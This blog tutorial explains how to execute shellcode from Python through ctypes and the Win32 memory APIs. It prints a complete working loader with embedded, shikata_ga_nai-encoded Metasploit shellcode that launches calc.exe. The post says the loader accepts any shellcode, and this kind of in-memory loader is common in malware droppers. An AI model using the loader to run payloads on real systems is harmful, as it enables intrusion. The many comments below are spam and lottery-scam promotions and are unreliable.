Execute ShellCode Using Python

After writing shell code generally we use a C code like this to test our shell code.
char code[] = "shell code";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

In this article I am going to show you, how can we use python and its "ctypes" library to execute a "calc.exe" shell code or any other shell code.ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

I will be using six Win32 APIs to execute the shell code. These Win32 apis are very important in dynamic memory management on windows platform. Here ctype will help us to directly interact with these required APIs.

The concept is like :

1)  First VirtualAlloc() will allow us to create a new executable memory region and copy our shellcode to it, and after that execute it.
2)  VirtualLock() locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.
It accepts a pointer to the base address of the region of pages to be locked and the size of the region to be locked, in bytes.
A simple example of this function can be found here in MSDN:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366549(v=vs.85).aspx

3)  RtlMoveMemory() function accepts 3 arguments , a pointer to the destination (returned form virtualAlloc()), Pointer to the memory to be copied and the number of bytes to be copied.

4)  CreateThread() accepts 6 arguments
In our case the third argument is very important.We need to pass a pointer to the application-defined function to be executed by the thread returned by VirtualAlloc().If the function succeeds, the return value is a handle to the new thread.

5)  WaitForSingleObject() function accepts 2 arguments 1st one is the handle to the object (Returned by CreateThread()) and the time-out interval, in milliseconds. If a nonzero value is specified, the function waits until the object is signaled or the interval elapses.


API Description (Source : MSDN)

VirtualAlloc function:
It reserves or commits a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero, unless MEM_RESET isspecified.

Syntax:
LPVOID WINAPI VirtualAlloc(
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

VirtualLock function:
It locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.

Syntax:
BOOL WINAPI VirtualLock(
  __in  LPVOID lpAddress,
  __in  SIZE_T dwSize
);

RtlMoveMemory routine:
The RtlMoveMemory routine moves memory either forward or backward, aligned or unaligned, in 4-byte blocks, followed by any remaining bytes.

Syntax:
VOID RtlMoveMemory(
  __in  VOID UNALIGNED *Destination,
  __in  const VOID UNALIGNED *Source,
  __in  SIZE_T Length
);

CreateThread function:
Creates a thread to execute within the virtual address space of the calling process.

Syntax:
HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

WaitForSingleObject function:
Waits until the specified object is in the signaled state or the time-out interval elapses.

Syntax:
DWORD WINAPI WaitForSingleObject(
  __in  HANDLE hHandle,
  __in  DWORD dwMilliseconds
);

The python code goes here.

#!/usr/bin/python
import ctypes
#ShellCode
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 
"\x5e\xa4\xb4")
 
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Comments

  1. I really appreciate this post. I’ve been looking all over for this! Thank goodness I found it on Bing. You’ve made my day! Thx again!
    python Training institute in Bangalore
    python Training in Pune

    ReplyDelete
  2. I am sure this post has helped me save many hours of browsing other related posts just to find what I was looking for. Many thanks!
    Python Online training
    Python Course institute in Bangalore

    ReplyDelete
  3. Its as if you had a great grasp on the subject matter, but you forgot to include your readers. Perhaps you should think about this from more than one angle.
    python training in bangalore

    ReplyDelete
  4. Nice blog post on Python. Python is used in data science as well.Please refer to my blog here.

    python training in hyderabad

    ReplyDelete
  5. Thank you for providing the valuable information …
    If you want to connect with AI (Artificial Intelligence) World
    as like

    Python


    RPA (Robotic Process Automation)


    UiPath Training


    Blue Prism


    Data -Science


    ML(Machine Learning)
    related more information then meet on EmergenTeck Training Institute .

    Thank you.!
    Reply

    ReplyDelete
  6. This blog is very informative. It has very good information about python course training in banglore
    which will help user to be clear about the course and future oppurtunity.
    python training in banglore

    ReplyDelete
  7. This is quite educational arrange. It has famous breeding about what I rarity to vouch. Colossal proverb. This trumpet is a famous tone to nab to troths. Congratulations on a career well achieved. This arrange is synchronous s informative impolites festivity to pity. I appreciated what you ok extremely here 
    Apache Spark with Scala certification training
    AWS certification training

    ReplyDelete
  8. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    Salesforce online training
    Hadoop online training

    ReplyDelete
  9. Nice Blog
    Visit for Data Science training in Bangalore :
    Data Science training in Bangalore

    ReplyDelete
  10. For Python training in Bangalore Visit:
    Python training in Bangalore

    ReplyDelete
  11. This is a nice article here with some useful tips for those who are not used-to comment that frequently. Thanks for this helpful information I agree with all points you have given to us. I will follow all of them.
    AWS online training
    Advanced Java online training

    ReplyDelete
  12. I think this is one of the most significant information for me. And i’m glad reading your article. But should remark on some general things, The web site style is perfect, the articles is really great : D. Good job, cheers.
    tree trimmers greenacres

    ReplyDelete
  13. Hi, This is nice article you shared great information i have read it thanks for giving such a wonderful Blog for reader.
    bathroom remodel long beach ca

    ReplyDelete
  14. You have a good point here!I totally agree with what you have said!!Thanks for sharing your views...hope more people will read this article!!!
    tree service palm beach gardens

    ReplyDelete
  15. I think this is one of the most significant information for me. And i’m glad reading your article. But should remark on some general things, The web site style is perfect, the articles is really great : D. Good job, cheers Website

    ReplyDelete
  16. Superbly written article, if only all bloggers offered the same content as you, the internet would be a far better place. patio screen repair fort lauderdale

    ReplyDelete
  17. In DevOps Training course online you will be introduced to the DevOps pipeline demo in various industry domains like media, finance, medical projects and more. You will get hands-on experience in Docker containerization by deploying Jenkins, working with integration tests in DevOps, Project Reports and finance app configuration.

    ReplyDelete
  18. It has been great for me to read such great information about python Training.python training in bangalore

    ReplyDelete
  19. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.
    https://onlineidealab.com/aws-training-in-bangalore/

    ReplyDelete
  20. Thank you for sharing this information.your information very helpful for my business. I have gained more information about your sites. I am also doing business related this.
    Thank you.
    Data Science Training in Hyderabad

    Hadoop Training in Hyderabad

    Java Training in Hyderabad

    Python online Training in Hyderabad

    ReplyDelete
  21. thanks for this post.this is really nice post.
    we provide advance Python courses in Bangalore.
    https://onlineidealab.com/learn-python/

    ReplyDelete
  22. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  23. Really you have done great job,There are may person searching about that topic. now they will easly find your post
    SQL Azure Online Training
    Azure SQL Training
    SQL Azure Training

    ReplyDelete
  24. There are lots of information about latest technology and how to get trained in them, like devops training have spread around the web, but this is a unique one according to me.

    ReplyDelete
  25. This comment has been removed by the author.

    ReplyDelete
  26. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete
  27. Snapdeal Winner List 2020 here came up with an Offer where you can win Snapdeal prize list by just playing a game & win prizes.
    Snapdeal winner name also check the Snapdeal lucky draw

    ReplyDelete
  28. I havent any word to appreciate this post.....Really i am impressed from this post....the person who create this post it was a great human..thanks for shared this with us. python course in pune

    ReplyDelete
  29. BSc Cardio Vascular Technology is one of the best demanding courses in recent times. Here you can check the all details of this course and the best college to study in Bangalore for this course. Just click the below mentioned link.
    BSc Cardiac Care Technology Colleges In Bangalore

    ReplyDelete
  30. snapdeal here thought of an Offer where you can win exceptional snapdeal prize by simply playing a game and win prizes Call @7596886123"
    Snapdeal winner 2020
    Snapdeal lucky draw tatasafari 2020
    Snapdeal lucky winner list 2020
    Snapdeal lucky draw 2020

    ReplyDelete
  31. We as a team of real-time industrial experience with a lot of knowledge in developing applications in python programming (7+ years) will ensure that we will deliver our best in python training in vijayawada. , and we believe that no one matches us in this context.

    ReplyDelete

  32. This is a wonderful article, Given so much info in it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck... Thank you!!! machine learning courses in Bangalore

    ReplyDelete
  33. This is a wonderful article, Given so much info in ExcelR Machine Learning Courses In Pune it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck.

    ReplyDelete
  34. Very informative post.If anyone wants to learn python they can chek this institute for Python Training in Bangalore

    ReplyDelete

  35. Whatever we gathered information from the blogs, we should implement that in practically then only we can understand that exact thing clearly, but it’s no need to do it, because you have explained the concepts very well. It was crystal clear.i also want to inform you the best salesforce cpq tutorial . thankyou . keep sharing..

    ReplyDelete
  36. Shopclues lucky draw 2020| Shopclues winner 2020|Get to Know Shopclues Lucky Draw Winner 2020. Call Shopclues Helpline Phone Number+91-9835565523 for Shopclues Online Shopping Lucky Draw.
    Shopclues online lucky draw winner
    Shopclues winner 2020
    shopclues car lucky draw

    ReplyDelete
  37. Whatever we gathered information from the blogs, we should implement that in practically then only we can understand that exact thing clearly aws training videos , but it’s no need to do it, because you have explained the concepts very well. It was crystal clear, keep sharing..aws videos

    ReplyDelete
  38. This post is really nice and informative. The explanation given is really comprehensive and useful..... sap bi course

    ReplyDelete


  39. Pretty article! I found some useful information in your blog, it was awesome to read, thanks for sharing this great content to my vision. i also want to share some infor mation regarding sap online training and sap sd training videos . keep sharing.

    ReplyDelete
  40. Snapdeal winner 2020 | Dear customer, you can complain here If you get to call and SMS regarding Snapdeal lucky draw, Mahindra xuv 500, lucky draw contest, contact us at to know the actual Snapdeal prize winners 2020.
    Snapdeal winner 2020
    Snapdeal lucky draw winner 2020
    Snapdeal lucky draw contest 2020
    snapdeal winner prizes 2020

    ReplyDelete



  41. Wow. That is so elegant and logical and clearly explained. Brilliantly goes through what could be a complex process and makes it obvious.I want to refer about the best tableau training

    ReplyDelete
  42. Awesome article, it was exceptionally helpful! I simply began in this and I'm becoming more acquainted with it better. The post is written in very a good manner and it contains many useful information for me. Thank you very much and will look for more postings from you.


    digital marketing blog
    digital marketing bloggers
    digital marketing blogs
    digital marketing blogs in india
    digital marketing blog 2020
    digital marketing blog sites
    skartec's digital marketing blog
    skartec's blog
    digital marketing course
    digital marketing course in chennai
    digital marketing training
    skartec digital marketing academy

    ReplyDelete

  43. Hello, I have gone through your post Its really awesome.Thats a great article. I am also want to share about python training and python videos .thank you

    ReplyDelete
  44. This post is really nice and informative. The explanation given is really comprehensive and informative.I want to inform you about the salesforce business analyst training and Self Learning videos . thankyou . keep sharing..

    ReplyDelete
  45. A good blog. Thanks for sharing the information....Sarkari Job for latest jobs released for all type of career options. A great number of population aim for Banking and SSC jobs, where there are numerous opportunities in terms of posts as well as vacancies...

    ReplyDelete
  46. Your work is very good and I appreciate you and hopping for some more informative posts. Thank you for sharing great information to us. Satta king

    ReplyDelete
  47. I have read your blog its very attractive and impressive. I like it your blog.
    DevOps Online Training
    DevOps Training
    DevOps Training in Ameerpet

    ReplyDelete
  48. With the help of creative designing team TSS advertising company provides different branding and marketing strategies in advertising industry...

    https://www.tss-adv.com/branding-and-marketing

    ReplyDelete
  49. Your blog is splendid, I follow and read continuously the blogs that you share, they have some really important information. M glad to be in touch plz keep up the good work.
    ExcelR Solutions

    ReplyDelete
  50. Wonderful article, very useful and well explanation. Your post is extremely incredible. I will refer this to my candidates...

    Python Online Training
    Python Certification Training
    Python Certification Course
    AWS Training
    AWS Course

    ReplyDelete
  51. Nice information, valuable and excellent design, as share good stuff with good ideas and concepts, lots of great information and inspiration, both of which I need, thanks to offer such a helpful information here...artificial intelligence course

    ReplyDelete
  52. Study ExcelR Machine learning course bangalore where you get a great experience and better knowledge.
    Machine learning course bangalore

    ReplyDelete

  53. Here is the list of best free and paid Windows 10 apps that you should definitely use,
    especially if you are using Windows 10 laptop or Apps for PC.

    ReplyDelete
  54. Thanks for sharing this informations.
    CCNA Course in Coimbatore

    CCNA Training Institute in Coimbatore

    Java training in coimbatore

    Software Testing Course in Coimbatore

    python training institute in coimbatore

    data science course in coimbatore

    android training institutes in coimbatore

    ReplyDelete
  55. It's really a nice and useful piece of information about Advanced Java. I'm satisfied that you shared this helpful information with us.Please keep us informed like this. Thank you for sharing.

    Java training in chennai | Java training in annanagar | Java training in omr | Java training in porur | Java training in tambaram | Java training in velachery

    ReplyDelete
  56. Thanks for sharing this informatiions.
    artificial intelligence training in coimbatore

    Blue prism training in coimbatore

    RPA Course in coimbatore

    C and C++ training in coimbatore

    big data training in coimbatore

    hadoop training in coimbatore

    aws training in coimbatore

    ReplyDelete

  57. Hi, the post which you have provided is fantastic, I really enjoyed reading your post, and hope to read more. thank you so much for sharing this informative blog. This is really valuable and awesome. I appreciate your work. Here you can find best movies list movies trailer , Movie cast
    movie review ,Hollywood Movies ,bollywood Movies ,bollywood movies 2018 ,bollywood movies 2019 ,bollywood movies 2020 ,bollywood movie 2020 ,uri movie ,kabir singh full movie ,south indian actress , hollywood actress , tamil actress, , actress , south actress , malayalam actress , telugu actress , bhojpuri actress, , indian actress , actress photos ,
    movies llatest bollywood movies
    Keep Blogging!

    ReplyDelete
  58. Great Blog I loved the insight and advice given. Further, your blogging style is very fun to read. If you have enough time please explore my link: https://www.cetpainfotech.com/technology/python-training

    ReplyDelete
  59. thanks for sharing nice information. its Very use full and informative and keep sharing.
    more : https://www.kellytechno.com/Hyderabad/Course/Data-Science-Training

    ReplyDelete
  60. Thanks for sharing this blog
    python training institute in coimbatore

    python course in coimbatore

    android training institutes in coimbatore

    amazon web services training in coimbatore

    Java training in coimbatore

    artificial intelligence training in coimbatore

    ReplyDelete
  61. thanks for sharing nice information....
    more : https://www.kellytechno.com/Hyderabad/Course/Data-Science-Training

    ReplyDelete
  62. Its a wonderful post and very helpful, thanks for all this information. You are including better information regarding this topic in an effective way. T hank you so much.


    Dot Net Training in Chennai | Dot Net Training in anna nagar | Dot Net Training in omr | Dot Net Training in porur | Dot Net Training in tambaram | Dot Net Training in velachery


    ReplyDelete
  63. I normally wouldn't be so engaged by any articles pertaining to this subject, but yours grabbed my attention. It was like a great dessert crying out to me to eat it. This is good content.
    SAP training in Kolkata
    SAP training Kolkata
    Best SAP training in Kolkata
    SAP course in Kolkata
    SAP training institute Kolkata


    ReplyDelete
  64. i just go through your article it’s very interesting time just pass away by reading your article looking for more updates. Thank you for sharing. DevOps Training in Chennai | DevOps Training in anna nagar | DevOps Training in omr | DevOps Training in porur | DevOps Training in tambaram | DevOps Training in velachery

    ReplyDelete
  65. if you want to pop up your website then you need uk data centre companies

    ReplyDelete
  66. Thanks a lot very much for the high your blog post quality and results-oriented help. Data Science Training in Hyderabad

    ReplyDelete
  67. Very interesting blog Thank you for sharing such a nice and interesting blog and really very helpful article.

    ServiceNow training in bangalore

    Best ServiceNow Training Institutes in Bangalore

    ReplyDelete
  68. Wow! Such an amazing and helpful post this is. I really really love it. It's so good and so awesome. I am just amazed. I hope that you continue to do your work like this in the future also.

    Data Science Course

    ReplyDelete
  69. Thank you so much for sharing such an informative knowledge through this blog thank you so much really appreciated!!

    https://devu.in/machine-learning-training-in-bangalore/

    ReplyDelete
  70. It is perfect time to make some plans for the future and it is time to be happy. I’ve read this post and if I could I desire to suggest you few interesting things or tips. Perhaps you could write next articles referring to this article. I want to read more things about it!

    Data Science Training

    ReplyDelete
  71. Very interesting blog. Alot of blogs I see these days don't really provide anything that I'm interested in, but I'm most definately interested in this one. Just thought that I would post and let you know
    DevOps Training in Chennai | DevOps Training in anna nagar | DevOps Training in omr | DevOps Training in porur | DevOps Training in tambaram | DevOps Training in velachery

    ReplyDelete
  72. This is a wonderful article, Given so much info in it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck.
    data science courses

    ReplyDelete
  73. Snapdeal online Lucky Draw 2020. Participate in many more lucky Draws, prizes, and Contests of 2020. Win Snapdeal Prizes, Offers, and Tata Safari Car. Contact to Snapdeal Prize Department Number. For all lucky draw pieces of Information.
    Snapdeal lucky draw winner 2020
    Snapdeal lucky draw contest 2020
    snapdeal winner prizes 2020

    ReplyDelete


  74. Hi, this is really very nice blog, your content is very interesting and engaging, worth reading it. I got to know a lot from your articles. Thanks for sharing your knowledge.I want to share about about learning apache kafka

    ReplyDelete
  75. After reading your article I was amazed. I know that you explain it very well. And I hope that other readers will also experience how I feel after reading your article.


    https://www.acte.in/ielts-coaching-chennai
    https://www.acte.in/german-classes-in-chennai
    https://www.acte.in/gre-coaching-classes-in-chennai
    https://www.acte.in/toefl-coaching-in-chennai
    https://www.acte.in/spoken-english-classes-in-chennai

    ReplyDelete
  76. I read this article. I think You have put a lot of effort to create this article. I appreciate your work.
    Visit us for A95 reusable mask.

    ReplyDelete
  77. This is excellent information. It is amazing and wonderful to visit your site.Thanks for sharing this information,this is useful to me.

    Microsoft Online Training

    Microsoft Classes Online

    Microsoft Training Online

    Online Microsoft Course

    Microsoft Course Online

    ReplyDelete
  78. Wow it is really wonderful and awesome thus it is very much useful for me to understand many concepts and helped me a lot.

    QlikView Online Training

    QlikView Classes Online

    QlikView Training Online

    Online QlikView Course

    QlikView Course Online

    ReplyDelete
  79. Leanpitch provides online training in DevOps during this lockdown period everyone can use it wisely.
    DevOps online training

    ReplyDelete
  80. Although I see the article I understand, but actually implemented too hard, whoever comments here gives more specific instructions
    Bando

    ReplyDelete
  81. Thanks for sharing this
    Leanpitch provides online training in DevOps during this lockdown period everyone can use it wisely.
    DevOps Online Training

    ReplyDelete
  82. Python Training institutes In Bangalore With Machine Learning
    /www.uttarainfo.com/course/python-training-institutes-in-bangalore-with-machine-learning/

    ReplyDelete
  83. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end....
    java training in chennai

    java training in omr

    aws training in chennai

    aws training in omr

    python training in chennai

    python training in omr

    selenium training in chennai

    selenium training in omr



    ReplyDelete
  84. Hello,Excellent Blog! I would like to thank for the efforts you have made in writing this post. I am hoping the same best work from you in the future as well. I wanted to thank you for this websites! Thanks for sharing. Great websites!

    DevOps Training in Chennai

    DevOps Online Training in Chennai

    DevOps Training in Bangalore

    DevOps Training in Hyderabad

    DevOps Training in Coimbatore

    DevOps Training

    DevOps Online Training

    ReplyDelete
  85. Thanks a lot very much for the high your blog post quality and results-oriented help. I won’t think twice to endorse to anybody who wants and needs support about this area.
    java training in chennai

    java training in velachery

    aws training in chennai

    aws training in velachery

    python training in chennai

    python training in velachery

    selenium training in chennai

    selenium training in velachery

    ReplyDelete
  86. Great site and a great topic as well I really get amazed to read this.This is incredible,I feel really happy to have seen your webpage.I gained many unknown information, the way you have clearly explained is really fantastic.keep posting such useful information.
    Full Stack Training in Chennai | Certification | Online Training Course
    Full Stack Training in Bangalore | Certification | Online Training Course

    Full Stack Training in Hyderabad | Certification | Online Training Course
    Full Stack Developer Training in Chennai | Mean Stack Developer Training in Chennai
    Full Stack Training

    Full Stack Online Training





    ReplyDelete
  87. I am really enjoying reading your well-written articles. It looks like you spend a lot of effort and time on your blog. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work.
    Data Science Training In Chennai

    Data Science Online Training In Chennai

    Data Science Training In Bangalore

    Data Science Training In Hyderabad

    Data Science Training In Coimbatore

    Data Science Training

    Data Science Online Training

    ReplyDelete
  88. We Shop clues Lucky draw list department provides all the genuine report of Shopclues Lucky draw result, Shpclues Lucky draw Winner 2020 Details, Shopclues Lucky Draw Coupon, Shopclues Luckydraw Letter and shopclues luckydraw center details. https://shopcluesluckydrawlist.com/

    ReplyDelete
  89. Thanks for giving me the time to share such nice information. Thanks for sharing.data science course in Hyderabad

    ReplyDelete
  90. wonderful article. Very interesting to read this article.I would like to thank you for the efforts you had made for writing this awesome article
    IELTS Coaching in chennai

    German Classes in Chennai

    GRE Coaching Classes in Chennai

    TOEFL Coaching in Chennai

    spoken english classes in chennai | Communication training

    ReplyDelete
  91. You have a good point here!I totally agree with what you have said!!Thanks for sharing your views...hope more people will read this article!!!
    acte reviews

    acte velachery reviews

    acte tambaram reviews

    acte anna nagar reviews

    acte porur reviews

    acte omr reviews

    acte chennai reviews

    acte student reviews


    ReplyDelete
  92. You might comment on the order system of the blog. You should chat it's splendid. Your blog audit would swell up your visitors. I was very pleased to find this site.I wanted to thank you for this great read!!
    artificial intelligence course in bangalore

    ReplyDelete
  93. Thanks for sharing this information. I really Like Very Much.
    top devops online training

    ReplyDelete
  94. market penetration, the job market is booming day-by-day, thus creates a huge leap in a career opportunity among the students as well as professionals. From a career point of view, this digital marketing course becomes real hype among the students and even professionals. digital marketing training in hyderabad

    ReplyDelete
  95. Good Post! , it was so good to read and useful to improve my knowledge as an updated one, keep blogging. After seeing your article I want to say that also a well-written article with some very good information which is very useful for the readers....thanks for sharing it and do share more posts like this.
    https://www.3ritechnologies.com/course/online-python-certification-course/

    ReplyDelete
  96. Good job in presenting the correct content with the clear explanation. The content looks real with valid information. Good Work .
    Java Training in Chennai

    Java Training in Bangalore

    Java Training in Hyderabad

    Java Training
    Java Training in Coimbatore


    ReplyDelete
  97. We have the best and the most convenient answer to enhance your productivity by solving every issue you face with the any problems.

    SAP FICO Online Training

    SAP FICO Classes Online

    SAP FICO Training Online

    Online SAP FICO Course

    SAP FICO Course Online

    ReplyDelete
  98. Eco-friendly Sustainable Hemp Products
    Eco-Friendly Hemp Clothing, Backpacks, Soaps, Pet Supplies, CBD Tinctures and Wellness Products

    Buy Best CBD Products
    Buy Best CBD Products
    Buy Best CBD Products
    Buy Best CBD Products
    Buy Best CBD Products

    ReplyDelete
  99. Its really helpful for the users of this site. I am also searching about these type of sites now a days. So your site really helps me for searching the new and great stuff.

    SAP HANA Online Training

    SAP HANA Classes Online

    SAP HANA Training Online

    Online SAP HANA Course

    SAP HANA Course Online

    ReplyDelete
  100. Great blog, thanks for sharing with us. Ogen Infosystem is a leading web designing service provider in Delhi, India.
    Website Designing Company in India

    ReplyDelete
  101. Nice tutorial. Thanks for sharing the valuable information. it’s really helpful. Who want to learn this blog most helpful. Keep sharing on updated tutorials…
    DevOps training in Bangalore BTM

    ReplyDelete
  102. Attend The Data Science Course From ExcelR. Practical Data Science Course Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Data Science Course.data science courses

    ReplyDelete
  103. Really impressed! Everything is very open and very clear clarification of issues. It contains truly facts. Your website is very valuable. Thanks for sharing.
    artificial intelligence course in bangalore

    ReplyDelete
  104. Snapdeal lucky winner 2020 | Snapdeal winner 2020 | Snapdeal Winner List 2020 Welcome To Snapdeal Lucky Draw Contest You Have a best Chance To be a Snapdeal winner with Free Of Cost Just Check your Lottery Status Here.
    Software Testing Training in Bangalore

    Software Testing Training

    Software Testing Online Training

    Software Testing Training in Hyderabad

    Software Testing Courses in Chennai

    Software Testing Training in Coimbatore

    ReplyDelete
  105. Well we really like to visit this site, many useful information we can get here.
    best institutes for digital marketing in hyderabad

    ReplyDelete
  106. I am a new user of this site so here i saw multiple articles and posts posted by this site,I curious more interest in some of them hope you will give more information on this topics in your next articles.
    artificial intelligence course

    ReplyDelete
  107. Truly an amazing site. It helped me a lot to pursue knowledge about data science.Definitely recommending it to my friends. To know more about data science http://www.fusiontechnology.in/data-science-institute-in-pune.php

    ReplyDelete
  108. This comment has been removed by the author.

    ReplyDelete

Post a Comment